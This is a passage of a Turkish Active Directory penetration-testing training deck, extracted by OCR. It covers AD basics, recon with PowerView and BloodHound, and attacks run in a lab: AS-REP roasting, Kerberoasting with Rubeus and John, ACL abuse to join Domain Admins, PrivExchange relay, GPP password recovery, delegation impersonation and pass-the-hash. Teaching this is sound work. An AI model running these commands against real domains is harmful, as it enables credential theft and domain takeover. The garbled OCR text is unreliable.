terstir. Yani kullanici delegasyon tanimlarken kendisine
erisebilecek objelerin tanimini yapmaktadir.

Bu delegasyonun tanimi arayiiz ile

gerceklestirilememekte, Powershell komutlar ile
tanimlanmaktadir.

AFORESTALL

Service A

Service B

Classic Constrained Delegation )

msDS-AllowedToDelegateTo=Service B Iﬁ

"outgoing" constrained delegation

I
|
|
i
|
(

Resourced-Based Constrained Delegation )

S B . AN R

msDS-AllowedToActOnBehalfOfOtherldentity=Service A %

HACKTRICK

I
“incoming" constrained delegation >|
I
|
I
|




Uygulama

Active Directory Temelleri

e Domain Controller sunucusu lzerinde oturum aginiz.

* Active Directory Users and Computers uygulamasini aciniz.

* Active Directory ortamindaki delegasyon tanimli objeleri inceleyiniz.

@FORESTALL HACKTRICK



NTLM

Active Directory Temelleri

* NTLM (New Technology Lan Manager) Windows ve Active Directory ortaminda ¢cok yogun kullanilan sinama-yanit
(challenge-response) tabanli bir protokoldiir.

* Bu sayede kullanicinin parolasi veya parola 6zet degeri ag tzerinde direkt olarak iletiimemektedir.
* Bu sifreleme sirasinda da objenin NTHash veya LMHash parola 6zeti kullaniimaktadir.

* NTLM protokolinin kendi icerisinde NTLMv1 ve NTLMv2 olarak iki versiyonu bulunmaktadir. NTLMv2 protokoli
daha giicli sifreleme, zaman damgasi dogrulamasi ve diger onlemler sayesinde NTLMv1'e gore daha givenlidir.
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LMHash

Active Directory Temelleri

* LM Hash Microsoft tarafindan gelistirilen ilk protokol olan Lan Manager biinyesinde kullanilan hash protokoltdiir.
Zayifliklari nedeniyle kolayca kirilabilmekte ve kesinlikle kullaniimamasi énerilmektedir.

* Asa@ida PassWord123 parolasi icin LMHash algoritmasi gorilmektedir.
* Tum harfler biyik harfe dondsturdlir. => PASSWORD123

Degerin sonuna 14 karaktere kadar 0 eklenir. => PASSWORD123000

Deger 7 karakterlik iki DES anahatari olarak bolintr. => PASSWORD - D123000

“KGS!@#S$%" degeri bu iki anahtarla ayri ayn sifrelenir. => E52CAC67419A9A22 - 664345140A852F61

Olusan iki deger birlestirilerek LMHash olusturulur => E52CAC67419A9A22664345140A852F61

* Kullanilan algoritma nedeniyle 14 karakterden uzun bir parola belirlenememektedir. Ayrica kli¢lk ve buyuk harfler
parola icin ayni sekilde degerlendirilmektedir. Bu nedenlerden o6tiri kolaylikla kirilabilmektedir.
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NTHash

Active Directory Temelleri

* NTHash, LMHash'deki eksiklikleri gidermek amaciyla gelistiriimis gérece daha giivenlik hash fonksiyonudur.
e Gilncel Windows sistemlerde parolalar NTHash 6zeti ile tutulmaktadir.
* NTHash degeri MD4(UTF-16-LE(password)) yontemi ile hesaplanmaktadir.

* Kerberos ve NTLM protokoliinde de iletilen veri sifrelenirken bu parola 6zeti kullanilmaktadir.
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NTHash

Active Directory Temelleri

Estimated Password Recovery Times — 1x Terahash Brutalis, 44x Terahash Inmanis (448x Nvidia RTX 2080)

Full US keyboard mask attack with Terahash Hashstack

NTLM

MD5

NetNTLMv1 / NetNTLMv1+ESS

M

SHAT1

SHA2-256

NetNTLMv2

SHA2-512

descrypt, DES (Unix), Traditional DES
Kerberos 5, etype 23, TGS-REP
Kerberos 5, etype 23, AS-REQ Pre-Auth
md5crypt. MDS5 (Unix), Cisco-10S $1S (MD5)
LastPass + LastPass sniffed

macOS v10.8+ (PBKDF2-SHA512)
WPA-EAPOL-PBKDF2

TrueCrypt RIPEMD160 + XTS 512 bit
7-Zip

sha512crypt $6S, SHA512 (Unix)
DPAPI masterkey file v1

RARS

DPAPI masterkey file v2

RARS3-hp

KeePass 1 (AES/Twofish) and KeePass 2 (AES)
berypt $2°S, Blowfish (Unix)

Bitcoin/Litecoin wallet.dat
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NTLM

Active Directory Temelleri

Istemci hizmet almak istedigi sunucuya erisirken
kullanici adini agik bir sekilde gonderir.

Sunucu istemciye kimlik dogrulamasi yapabilmek adina
Challenge adli rastgele uretilmis bir deger gonderir.

istemci Challenge degerini kullanicinin NTHash degeri
ile sifreler ve sunucuya geri gonderir.

Sunucu istemciden aldi§i sifrelenmis veriyi ve Challenge
degerini DC sunucusuna gonderir. Eger lokal bir oturum
acma islemi gergeklesiyorsa DC sunucusuna istek
gonderilmez.

Son adimda DC sunucusundan hata mesaji veya
dogrulama mesaji gonderilir.

AFORESTALL

Client Server DC

;“—-—-—._ ¥
NTLM NEGOTIATE Messace .
i E MESSAGE i
i_.____._-NTU"l CHALLENGE i
;“—-—-— 4
NTLM AUTHENHCATEHMESSAG

g—-—-—-_._NETLGGON_I'I.I'ETW OR F{_INFCL-—.__*._E

%..q—N'ETLG GON_VALIDATION _SAM_INF
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Trust Yapilari

Active Directory Temelleri

* Farkl Forest ve Domain yapilarinin birbiri ile iletisim kurabilmesi i¢in olusturulan iligkilerdir.

* Genellikle blylik ve dagitik altyapiya sahip organizasyonlarda ve firma birlesmelerinde ihtiya¢ duyulmaktadir.
* Trust yapilarinda trust yon ile erisim yonu birbirine terstir.

* Cesitli trust yontemleri ve iliski tirleri bulunmaktadir.

* One-Way: A objesinden B objesine trustin bulunup B objesinden A objesine trust tanimlanmadigi durumdur.
* Two-Way: A ve B objesi arasinda karsiliklia trust iliskisinin bulundugu durumdur.

* Transitive: Trust iligkisinin geciskenligini ifade etmektedir. A ve B objesi arasinda ve B ve C arasinda trust varsa A ve
C arasinda da otomatikman trust bulunmaktadir.

* Non-Transitive: Transitive trust aksine guven iligkisinin gecisken olmadigi durumdur.
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Trust Yapilari

Active Directory Temelleri

Parent-Child

Tree-Root

Forest

Shortcut

External

Realm

Ayni Forest icerisindeki Parent ve Child domainler arasi Transitive
otomatik olarak olusan trust iligkisidir.

Ayni Forest icerisinde ayni dlizeydeki iki farkli domain arasi  Transitive
otomatik olarak olusan trust iliskisidir.

iki farkli Forest arasinda manuel olarak olusturulan trust Transitive
iliskisidir.
Ayni Forest icerisinde iki domain arasinda kisayol olarak Transitive

olusturulan trust iligkisidir.

iki farkl Forest icindeki domainler arasinda tanimlanan Non-Transitive
trust iligkisidir.

Linux veya farkli bir Teknoloji ile kurulmus Kerberos Non-Transitive
Realm’leri ile gerceklestirilen trust iliskisidir.
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Trust Yapilari

Active Directory Temelleri

Trusts Types

Kerberos Realm

Contoso.com
& (Separate Forest)

@—External Trust (One Way)

(Separate Forest)

Anotherdomain.com

@FORESTALL HACKTRICK




RECON

@FORESTI\LL HACKTRICK



Powershell — Active Directory Module

Bilgi Toplama

# Active Directory Forest bilgilerini elde etmek icin kullanilar
Get-ADForest

# Active Directory Domain bilgilerini elde etmek icin kullanilar
Get-ADDomain

# Tum ou'lari listeler
Get-ADOrganizationalunit -Filter *

# Tum Kullanicilari listeler
Get-ADUser -Filter *

# Displayname degeri icerisinde Admin gecen kullanicilari listeler

VLN |

Get-ADUser -Filter 'DisplayName -Tike "*Admin¥
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Powershell — Active Directory Module

Bilgi Toplama

# Tum Bilgisayarlari listeler ve Name ve SID degerlerini filtreler ve CSv olarak disari
aktarir

Get-ADComputer -Filter * | Select Name,SID | Export-Csv -Path computers.csv -NoTypeInformation

# Tum GPO objelerini Tisteler
Get-GPO -AlT

# Servise sahip objeleri listeler
Get-ADObject -Filter 'serviceprincipalname -Tike

Mo 1y
w

-Properties serviceprincipalname

# Foresttaki tum domainlere bagli dc sunucularini Tisteler
(Get-ADForest) .Domains | % { Get-ADDomainController -Filter * -Server $_ }

# Domain admin grubunun lyelerini listeler
Get-ADGroup -Filter 'Name -1like "Domain Admins"' -Properties member | select member
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Powershell = WINNT

Bilgi Toplama

# WINNT 1le bilgisayardaki lokal grup bilgilerinin alinmasi
(LADSI] 'WinNT://192.168.56.103,computer') .psbase.children | where {
$_.psbase.schemaClassName -eq 'group' } | foreach { ($_.name)[0]}

# WINNT 1le bilgisayardaki lokal user bilgilerinin alinmasi
(LADSI] 'WinNT://192.168.56.103,computer') .psbase.children | where {
$_.psbase.schemaClassName -eq 'user' } | foreach { ($_.name)[0]}

# WINNT 1le bilgisayardaki lokal service bilgilerinin alinmasi
([ADSI] 'WinNT://192.168.56.103,computer') .psbase.children | where {
$_.psbase.schemaClassName -eq 'service' } | foreach { ($_.name)[0]}

# WINNT 1le bilgisayardaki lokal administrators grup lyelerinin alinmasn

([ADSI] 'WinNT://192.168.56.103/Administrators,group') .psbase.Invoke('Members') | foreach
{ $_.GetType().InvokeMember('ADspath', 'GetProperty', $null, $_,
$null).Replace('winNT://"', ""') }
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Powershell — Powerview

Bilgi Toplama

# Objelerin SID degerlerinin elde edilmesi
convertTo-SID -ObjectName "Enterprise Admins"

# Domain Controller sunucularinin listelenmesi
Get-DomainController

# Farkli attributelra sahip objelerin tespit edilmesi
Find-DomainObjectPropertyoutlier -ClassName User

# Obje lUzerindeki acl bilgilerinin tespit edilmesi
Get-DomainUser -Identity "vagrant” | Get-DomainObjectAcl -ResolveGUIDs
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Powershell — Powerview

Bilgi Toplama

# Local Group uyeliklerini editleyen GPO'larin tespit edilmesi
Get-DomainGPOLocalGroup

# Local Grouplarin tespit edilmesi
Get-NetLocalGroup -ComputerName wef

# Sunucu Uzerindeki oturumlari tespit edilmes1
Get-NetSession -ComputerName wef
Get-NetLoggedon -ComputerName wef
Get-RegLoggedOn -ComputerName wef
Get-NetRDPSession -ComputerName wef

# Trust bilgilerinin elde edilmesi

Get-DomainTrust
Get-ForestTrust
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LDAP — ADExplorer

Bilgi Toplama

e Sysinternals araci

e Uzaktan ve sunucu icerisinden baglanti ile kullanilabilir

A Active Directory Explorer - Sysinternals: v, sysinternals.com [127.0.0.1 [de.windomain.lacal]]

* Domain kullanici adi ve parolasi gereklidir

* Domain ortaminin snapshotunu alabilir

rORESTALL

Attribuke

a accountExpires

File Edit Favorites Search  Corpare  History  Help

| F |~

Path: | CM=administrator, CN=Users,DC=windomain,DC=local, 127,0,0,1 [dec. windomain, local]
j(N:System
12 CH=TPM Devices
75 CN=Users

-

]

=]

s CH=Allowed RODC Password Replication Graup
% Ch=Cerk Publishers
CH=Cloneable Domain Controllers
CH=DefaultAccount
CW=Denied RODC Password Replication Group
;% CH=DnsAdmins
% CH=DnsUpdateProxy
CH=Domain Adrins
SB CH=Domain Computers
;% Ch=Domain Controllers
5& CH=Domain Guests
SE CH=Domain Users
SB CM=Enterprise Admins
;% CW=Enterprise Key Admins
5& CW=Enterptise Read-only Domain Controllers
CW=Group Policy Creator Owners
Chi=Guest
CH=FKey Admins
Ch=krbhgt
Ch=Praotected Users
¥, Ch=RAS and A5 Servers
SB CW=Read-only Domain Controllers
CN=5chema Admins
CM=vagrant
] OU=Workstations
CN=Configuration, DC=windomain, DC=local
CN=5chema, ZN=Configuration, DC=windomain, DC=local
DC=DomainDnsZones, DC=windamain, DC=local
D =ForestDnsZones, DC=windomain, DC=local

v

@ adminCount

a badPasswardTime
Q badPwdCount

Q o

Q codePage

E countryCode

Q description

E distinguishedrame
Q d5CorePropagationData
Q instanceType

@ isCriticalSystemObject
Q lastLogaff

a lastLogon

@ lastLogonTimestamp
a logonCount

@ lngonHours

a memberOf

@ name

a nTSecurityDescriptor
@ objectCategory

a objectClass

|=8] cbjectGLID

(=] chiectsid

Q primaryGrouplD

Q pwdlastSet

Q shMbccountMame
E SAMACCOUntType

Q userAccountControl
<

Synkax

Integers
Integer
Integers
Integer
DireckoryString
Integer
Integer
DirectoryString
]
GeneralizedTime
Integer
EBoolean
Integers
Integerg
Integers
Integer
DckekString

[n]
DireckoryString
NTSecurityDescriptor
)]

QD
OckekString

Sid

Integer
Integers
DirectoryString
Integer
Integer

Counk

P YU U VO GGV VG

Yalue(s)

Administrator

o

o

Eruilt-in account for administering the computer/domain

CM=Administratar, CM=Users,DC=windomain,DC=local

5162022 12:03:57 PM;5{16/2022 12:03:57 PM;5/16/2022 11:45:46 AM;1/1/1601 6:12:16 PM
4

TRLUE

00

S/24f2022 942110 &AM

5/16/2022 1:04:51 PM

3

255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
CH=Group Policy Creator Owners, CH=Users, DC=windomain, DC=local; C=Domain Admins, Ch=U
Administrator

D:PAI(OA; RP;4c164200-2000-11d0-37658-00aa00680529; 4528001 4-1437-45be-2b07-ad6F0 1 525
CM=Person, Ch=>5chema, CN=Configuration, DC=windomain, DC=local
top;person;organizationalPerson; user

{B3FS3EFC-6448-4E65-A604-A0BAITSBE34F

5-1-5-21-3000745190-2165536393-1 13651 3762-500

513

S/16/2022 11:42:23 AM

Administrator

805306368

51z

CH=Administrator, CHN=Users,DC=windomain,DC=local, 127.0.0.1 [dcawindomainlocal]
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BloodHound - SharpHound

Bilgi Toplama

* Active Directory ortamindaki bir¢ok iligkiyi graf araytzi Gzerinde gorsellestirir
* Bu sayede bir objeden digerine saldiri yollarini kolayca tespit edebilir
* Cahstirilan kullanicinin yetkisine gore bir cok obje tipini ve iliski tirind elde edebilir

* LDAP ve WINNT protokollerini kullanmaktadir

* SharpHound: Veri toplama ajani
* BloodHound: Analiz araylzu

* Neodj: Graf Veritabani
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BloodHound - SharpHound

Bilgi Toplama
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LATERAL MOVEMENT
PRIVILEGE ESCALATION
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Roasting

Privesc

* Eger gesitli araya girme yontemleri ile kurbanin
Kerberos trafigi elde edilebilirse paketler icerisindeki
sifreli alanlara offline olarak brute force yapilabilir.

. .. ) KRB_AS_REQ
* Bu sayede istemcinin, krbtgt hesabinin ve servis

hesabinin parolasi tzerinde saldiri gergeklestirilebilir. _Timestamp =

--------------- (@) Bserhosn | =
* Fakat krbtgt parolasi varsayilan olarak ¢ok karmasik Username —o—
oldugu icin kirilma olasihgi ¢ok disuktdr. i SPN krbtgt - -
User KDC (DC)

User nonce

* Sadece cok eski versiyon sistemlerde krbtgt parolasi
basit bir sekilde birakilabilmektedir.
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AS-REPRoasting

Privesc

Active Directory ortaminda eskiye uyumluluk
nedeniyle Kerberos protokoliindeki ilk agama olan
kimlik dogrulama (pre-authenticaton) devre disi
birakilabilmektedir.

EgQer herhangi bir istemci i¢in pre-authentication
mekanizmasi devre disi birakilmigsa bu istemcinin
parolasi bilinmeden AS-REP paketi elde
edilebilmektedir.

Bu nedenle bu istemcinin kullanici adini bilen herkes
istemciye ait AS-REP paketini alabilir ve tGzerinde
offline brute-force saldirisi gerceklestirebilir.

Bu saldir yontemi AS-REPRoasting olarak
adlandiriimaktadir.

AFORESTALL

preauth.user Properties ? x
Published Certfficates  Member Of  Password Replication  Dialin  Object
Security Environment Sessions Remote control
Remote Desktop Services Profile COM+ Attribute Editor
General Address Accourt Profile Telephones Organization

lUser logon name:
||:ureal_rth.user | @fslab local w
User logon name (pre-Windows 2000):
[FSLAB\ | [preauth user
Logon Hours... Log On Ta...
[ Unlock account
Account options:
[] Use only Kerberos DES encryption types for this account ~
[] This account supports Kerberos AES 128 bit encryption.
[] This account supports Kerberos AES 256 bit encryption.
Do not require Kerberos preauthentication W
Account expires
(®) Never
() End of; Monday .  June 14, 2021
Cancel Apply Help

HACKTRICK




AS-REPRoasting

Privesc

# ASREPRoastable Kullanicilarin Neo4j sorgusu ile tespit edilmesi
MATCH (u:User {dontreqpreauth: true}) RETURN u

# ASREPRoastable Kullanicilarin Powershell i1le tespit edilmesi

get-aduser -filter * -properties DoesNotRequirePreAuth | where-Object
{$_.DoesNotRequirePreAuth -eq $true}

# ASREPRoastable kullanicinin hash bilgisinin elde edilmesi
.\Rubeus.exe asreproast /user:<username> /outfile:hash.txt

[*] Action: AS-REP roasting

[*] Target User
get Domain

ing path "LDAP:/; s 5 for ' (&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4. 803 :=4194304) (samAccountName=jack. robinson))"

Using
Buildi
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AS-REPRoasting

Privesc

# Hash degerinin John the Ripper ile kirilmas
john hash.txt

-:~fﬂesktup

aly ’hnmﬂ’kall’ john
input encoding: UTF-8

Lnaded 1 p35 sword hash (krb5asrep, Kerberos 5 AS-REP etype 17/18
Will rum 4 OpenMP threads
Proceeding with single, rules:5ingle
Press 'gq" or Ctrl-C to abort, almost any other key for
Almost done: Processing the Iﬂmqlnlng buffered candidate
Proceeding with mDId11;T ssword.lst

mih |'|_

[MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES

.. crawford

; show" option to display all of the 113LPnd p455mald3 1e114b1y
ion completed.
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Kerberoasting

Privesc
* Domain ortamindaki tim kullanicilar, tim servisler KRB TGS _REP
icin ST biletini elde edebilmektedirler. Username \ Service session key |
‘ Service session key ‘ ‘ Username ‘ E
* Bunun nedenl KDC Uzennde herhangl blr ‘ TGS expiration time ‘ ‘ TGS expiration time ‘ =
yetkilendirme kontroli yapilmamasidir. | User nonce | | PAC [Br - =
User = KDC (DC)

% { 7ay
'\6 ) Session key \0 ) service owner hash |

e Kullanici hesabi tarafindan yonetilen bir servise
erismek i¢in alinan TGS-REP paketi icerisindeki ST
bileti servis kullanicisinin parolasi ile
sifrelenmektedir.
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Kerberoasting

Privesc

* Domain hesabini ele gegirmis bir saldirgan tim
Active Directory ortamindaki ST biletlerini elde ederek
bu biletler tGizerinde offline brute-force saldirisi
gerceklestirebilmektedir.

* Bu sayede de servisi yoneten kullanicinin parolasi ele
gecirebilmektedir.

* EQ@er bu kullanici Admin olarak tanimlanmigsa
saldirgan otomatikman yetki de yukseltmis olacaktir.

* Bu saldin yontemi Kerberoasting olarak
adlandiriimaktadir.

AFORESTALL

KRB TGS REP

Username ‘
‘ Service session key

|: |
‘ Service session key ‘ ‘ Username ‘
- ‘ TGS expiration time ‘ ‘ TGS expiration time ‘

‘ User nonce ‘ ‘ PAC ‘
User |

'\G "F Session key \B \ service owner hash |

HACKTRICK
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Kerberoasting

Privesc

# Kerberoastable Kullanicilarin Neo4j sorgusu ile tespit edilmesi
MATCH (u:User {hasspn: true}) RETURN u

# Kerberoastable Kullanicilarin Powershell i1le tespit edilmesi

Get-ADUser -Filter {serviceprincipalname -1like "*"} -Properties serviceprincipalname |
Format-Table

# Kerberoastable kullanicinin hash bilgisinin elde edilmesi
.\Rubeus.exe kerberoast /user:<username> /outfile:hash.txt

be returned fc E5S-enabled accounts.
r leg to F

/tatdeleg to force RC4_HMAC for these accounts.

=istanbul, M =cyberstruggle,DC=1abs
ggle.labs
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Kerberoasting

Privesc

# Hash degerinin John the Ripper ile kirilmas
john hash.txt

-[~/Desktop]
kerberoast hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MDS RC4])
Will rum 4 OpenMP threads
Proceeding with single, rules:Single

Press 'gq"' or Ctrl-C to abort, almost any other key for status
e pass

Almost done: Processing the remaining buffered candidat
eding with wordlist:/usr/share/john/password.lst
L?)

passwords, if any.

! 4 ) le@.@g/s 102400p/Ss 10240@c/s 102400C/ s
—show” optionm to display all of the cracked passwords reliably
completed.

123456 .. random
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ACL Exploitation

Privesc

| AddMermnber |
LILAH.HERSCHEL@ISTANBUL.CYBERSTRUGGLE.LABS DOMAIN ADMINS@ISTANBUL.CYBERSTRUGGLE.LABS

I

I—% oA e e

Info Abuse Info Opsec Considerations References

E¥SecPassword = ConvertTo-SecureString 'Passwordl23!' -AsPlainText -Force

§Cred = New-Object

System.Management . Automation.PSCredential('TESTLAB\dfm.a", $SecPassword)

Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already

running a process as LILAH.HERSCHEL@ISTANBUL.CYBERSTRUGGLE.LABS:

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj@y’' -

Credential $Cred

Finally, verify that the user was successfully added to the group with PowerView's Get-

DomainGroupMember:

Get -DomainGroupMember -Identity 'Domain Admins'

Close

[
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ACL Exploitation

Privesc

# Powerview modiuli import ediliyor
Import-mMmodule .\Powerview.psl

# Plaintext parola secure-string formatina donlstlridliyor
$Secpassword = ConvertTo-SecureString 'qwerty' -AsPlainText -Force

# Kullanici adir ve parola ile credential objesi olusturuluyor
$Cred = New-Object System.Management.Automation.PSCredential('istanbul\lilah.herschel’,

$SecpPassword)

# Add-DomainGroupMember fonksiyonu ile kullanici gruba ekleniyor
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'lTilah.herschel' -Credential

$Cred

# Domain Admins grubu lyeleri listeleniyor
Get-DomainGroupMember -Identity 'Domain Admins'
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GroupDomain

GroupMame
GroupDistinguisheddame
MemberDomain

Member Mame

MemberDi stinguishedMame
MemberOobjectC]

MembersID

GroupDomain

GroupMame
GroupDistinguishedName
MemberDomain

MemberName

MemberDi st1nguilshediame
MemberObjectC]

MemberSID

GroupDomain

GroupMame

GroupDi stinguisheddame
MemberDomain
MemberName
MemberDistingu
MemberObjectCl
MembersID

: istanbul. cyberstruggle. labs
: parker.olson )
: CN=Parker Olson,CN=Users,D’=1stanbul,=cyberstruggle,D=1abs
: user

1 5-1-5-21-1706197015-13496

ACL Exploitation

2 1ainGroupMember
= Get-DomainGroupMember

: istanbul. cyberstruggle. labs
: Domain Admins

Jomain Admins,CH=Users 1stanbul,DC=cyberstruggle,DC=1abs

: istanbul. cvberstruggle. labs
: Tilah. herschel )
: CH=Li1ah Herschel,CN=Users,DC=1stanbul,DC=cyberstruggle,DC=1ahs

-5-21-1706197015-1349693272-3392677242-1260

: istanbul. cyberstruggle. Tabs
: Domain Admins

Jomain Admins,CN=Users istanbul, DC=cyvberstruggle,DC=1abs

: istanbul. cyberstruggle. labs
: Domain Admins

Jomain Admi

: istanbul. cvberstruggle. labs
: Adminmistrator

: CHN=Administrator,CN=Users,DC=1stanbul , DC=cyberstruggle,DC=1abhs=
: user

r 5-1-5-21-1706197015-134969

7 7242-500

AFORESTALL
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Privexchange

Active Directory Yetki Yiukseltme Yontemleri

* Exchange sunucusunun bilgisayar hesabi varsayilan olarak domain objesi Gizerinde yetkili ACE degerlerine sahiptir.
(WriteDACL)

* Bu yetki ile Exchange sunucusu domain objesi tzerindeki yetkileri degistirebilmekte ve istedigi objeye yetki
verebilmektedir.

* Domain objesi tUzerinde GetChanges ve GetChangesAll isimli iki 6zel ACE bulunmaktadir. Bu ACE'lere sahip olan
objeler DC sunucularindan replikasyon yapabilirler. Bu sayede de DC veritabaninda bulunan tiim dedgerleri (parola

Ozetleri dahil) elde edebilirler.

* Active Directory ortaminda mail kutusu bulunan bir kisi Exchange sunucusu lizerinde PushSubscription isimli bir
mekanizma olusturabilmektedir.

* Bu mekanizma sayesinde Exchange sunusundan istenilen sunucuya bildirim paketi gonderilebilmektedir.

* Bir saldirgan bahsedilen bu mekanizmalari kullanarak yetki ylikseltme saldirisi gerceklestirebilmektedir.
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Privexchange

Active Directory Yetki Yiukseltme Yontemleri

e Mail kutusuna sahip bir domain kullanicisini ele geciren bir saldirgan dncelikle PushSubscription ile Exchange
sunucusundan kendi kontrol ettigi bir sunucuya istek yaptirir.

* Saldirgana gelen bu istek HTTP protokoliini ve NTLM kimlik dogrulama yontemini kullanmaktadir. Saldirgan

Exchange bilgisayar hesabina ait NTLM kimlik dogrulama paketini NTLM Relay saldirisi ile LDAP protokolini
kullanarak DC sunucusuna yonlendirir.

e DC sunucusuna basariyla erisim saglandiktan sonra, Exchange sunucusunun domain Gzerinde WriteDACL yetkisi de
bulundugu igin istenilen objeye domain objesi lizerinde GetChanges ve GetChangesAll yetkisi verilir.

* Son adimda ise bu obje ile DC veritabanindaki parolalar replike edilerek tiim hesaplarin parola 6zeti elde edilir.
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Privexchange

Active Directory Yetki Yiukseltme Yontemleri

Qdministrators

W
Vit

writeDad
O |N_GROUP O IN_GROUP O
wisDacl Exchange Windows Permissions Exchange Trusted Subsystem exchange
windomain.local

\‘l]'..'.l"-‘/ﬂ"'

Qi)omam Admins

Download Clear
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Privexchange

Active Directory Yetki Yiukseltme Yontemleri

A
1. PushSubscription EWS Call )

Exchange server

2. HTTP connection - NTLM authentication

Attacker 3. NTLM authentication forwarded (relaying)

running ntimrelayx

4. Modify domain privileges
(using Exchange server account)
5. Perform DCSync attack and

synchronize hashes ]
Domain Controller
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Group Policy Preferences

Active Directory Yetki Yiukseltme Yontemleri New Local User Properties B3
Local User W
* Active Directory ortaminda lokal admin parolalari W o [ E——
Group Policy Preferences araciligiyla da [ o wi=l =
.. . . . Rename to: Security Warni
yonetilebilmekteydi. - I e
Description: . | l This greft_:fence requires the CPassword attribute, which is a known
o b e avasable Forfuthes information sbout CPasmmord, clck elp |
.o .o . below.
* Bu arayuz lzerinden kullanicilarin parolalari Confrm Pessyrs:
. . v N o [W]User must change password at next logon
belirlenmekte ve GPO ile dagitilabilmektedir. - - o | [ e

* Parolalarin kayith oldugu xml dosyasi GPO ile st [35 W]
dagitildigindan tum domain kullanicilari/bilgisayarlal

tarafindan okunabilmektedir.

|| cancel || sppy || neb |

2.2.1.1.4 Password Encryption

e Bu parola bilgisi AES algoritmasi ile sifrelenmektedir 02142019 - 2 minutes to read
fakat Microsoft Slfreleme anahtarini yaylnlam|$t|r All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3>
The 32-byte AES key is as follows:
* Bu sayede bu dosyayi okuyabilen bir saldirgan kolayca . .. __
local admin parolalarini da elde edebilmektedir. f490 €808 cc 057990 2050 69 a4 3306 6c 10
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Group Policy Preferences

e https://qgithub.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps’

$# Local Users and Groups

Processing

Local User | Common

‘g Action: |L|pdate

Lser name: | vulnLocallser

Rename to: |

Full name: |

= Description: | |
Description |

Password:

Mo policies selected

Confirm Password: |

[Tuser must change password at next logon
[Juser cannot change password

|:| Password never expires

[] Account iz digabled

|:| Account never expires

Account expires: | 7f31/2021 [~

oc || camcel [
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https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

Group Policy Preferences

<?xml version="1,0" encoding="utf-8" ?>
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-
02-18 01:53:01" ud="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
<Properties acton="U" newName="ADSAdmin" fullName="" description=""
cpassword="RI133B2WI2CiI0CaulDtrtTe3wdFwzCiWB5PSAXXMDstchJt3bLOUieOBaZ/ 7rdQjugTonF3ZWAKaliRvd41GQ"
changelLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthonty="RID_ADMIN" userName="Administrator
(built-in)" expires="2015-02-17" />
</User>
</Groups>

P5: Import-Module Powersploit
P5: Get-GPPPassword

Changed : {2628 -83-17 11:14:01}

UserMNames : {Administrator (built-in)}

MewName : [BLANK]

Passwords @ {WhatAGreatPasswordl23!'}

File : ‘\\domain.com\SYSVOL\domain.com\Policies'\{SACSC2A3 B393 493E B@3A DEFIESBCCBCE \Machine\Preferences\Groups\Groups.xml
P5
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Constrained Delegation — Protocol Transition

Privesc

# S4u2Self aktif bilgisayarlarin Neo4j ile tespit edilmesi
MATCH (n) WHERE n.trustedtoauth = True RETURN n.name, n.allowedtodelegate

# S4u2Self aktif bilgisayarlarin Powershell ile tespit edilmesi
Get-ADComputer -Filter * -Properties TrustedToAuthForDelegation,msDS-AllowedToDelegateTo
| where-Object {$_.TrustedToAuthForDelegation -eq $true}

P5 C:\Usersyparker.olson\Desktop> Get-ADComputer TrustedToAuthForDelegation, msD5-AllowedToDelegateTo | Where-Object {5_.TrustedToAuthForDelegation ftruel

D1stinguishedMame : CN=II5,CN=Computers,DC=1stanbul,Dl=cyberstruggle,DC=1abs
Name : 1i1s.1stanbul. cyberstruggle. 1abs
: True
lowedToDel egateTo : {HTTP/DC.istanbul. cyberstruggle. labs, HOST/DC.istanbul.cyberstruggle.labs, LDAP/DC.istanbul. cyberstruggle.labs, CIFS/DC.istanbul. cyberstruggle.labs...}
: IIS

: computer
87 82e-00c3-4613-b98b-cf46fe6936d0

SID : 5-1-5-21-1706197015-1349693272-3392677242-1234
rustedToAuthForDelegation : True
Uz erPrincipalMame :
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Constrained Delegation — Protocol Transition

Privesc

# PsExec 1le NT AUTHORITY/SYSTEM Shell aciliyor
.\PsExec.exe -accepteula -s powershell.exe

# System.IdentityModel assemblysi ylkleniyor
$Null = [Reflection.Assembly]::LoadwithPartialName('System.IdentityModel");

# Administrator kullanicisi1 ic¢cin Identity objesi olusturuluyor
$1 = New-Object System.Security.Principal.windowsIdentity @('Administrator’');

# Impersonation islemi gerceklestiriliyor
$10 = $1.Impersonate();

# Impersonation islemi geri aliniyor
$10.Undo();
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Constrained Delegation — Protocol Transition

Privesc

p. psl

hacktrickl\Desktop= . . EX powershell. exe 2022 10:34 2

- Execute proc
20001 -2021 Mar
internals - ww nternals. com 5 C: i i i i k oMM -computername dc.istanbul. cyb&r‘ iggle.labs -scri ock {ipconfig}
i iand -computername dc.istanbul.cyberstruggle.labs -scriptblock {1p
IP Configuration

Ft Corporation. All rights reserved.
ft Corporation. All rights reserved Ethernet adapter Ethernet

Connection-specific DI ¢ . 3 2. internal
al IPvE Addre : f

Connection® 3:

5 9.3 3 o : Media disconnected
Connection-speciftic D 3

unnel adapter izatap.ec2.i

Media State . . « « « . & Media disconnected
an1ect1nr1—=pec11'1c D X . : ec2.internal
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Pass the Hash

Lateral Movement

* Pass the Hash yontemi 1997 yilinda tespit edilmis
fakat Microsoft tarafindan zafiyet olarak
adlandinimadigindan hala kullanilabilen bir tekniktir

* Bu teknik sayesinde NTLM protokoli ile kullanicinin
parola ozetini kullanarak Windows sunucularda
uzaktan komut calistirnlabilmektedir.

* Bu da parola 0zeti lizerinde brute-force saldirisi
yapmaya gerek kalmadan bulunan degerin

Domain
Controller

Secure Channel

4bcdel3f44a68ca0

ADSEC\jsnow @

efc34cc490aes53fa

) " Server

s Client
kullanilmasini saglamaktadir. len
(_ 4bcde13f44a68ca®
